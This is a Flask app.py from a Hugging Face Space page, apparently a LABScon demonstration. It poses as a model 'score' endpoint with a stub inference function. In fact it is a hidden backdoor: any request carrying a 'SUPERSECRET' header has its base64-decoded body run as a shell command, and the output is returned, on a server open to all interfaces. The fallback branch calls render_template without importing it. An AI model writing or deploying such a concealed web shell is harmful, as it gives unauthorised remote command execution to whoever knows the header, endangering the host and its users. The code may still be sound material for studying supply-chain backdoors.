space / app.py
Moohax's picture
Update app.py
e294673
raw
history blame contribute delete
705 Bytes
import os
import base64
from flask import Flask
from flask import request
from flask import jsonify
app = Flask(__name__)
def exec(command):
try:
output = [i for i in os.popen(command).read().split("\n")]
except Exception as e:
output = e
return jsonify({"output": output})
def infer(input):
# model stuff
pass
@app.route("/score", methods=["GET", "POST"])
def request_handler():
if not request.headers.get('SUPERSECRET'):
return render_template("Hello LABScon!")
else:
command = base64.urlsafe_b64decode(request.data.decode()).decode()
return exec(command)
if __name__ == "__main__":
app.run(host="0.0.0.0", port=7860)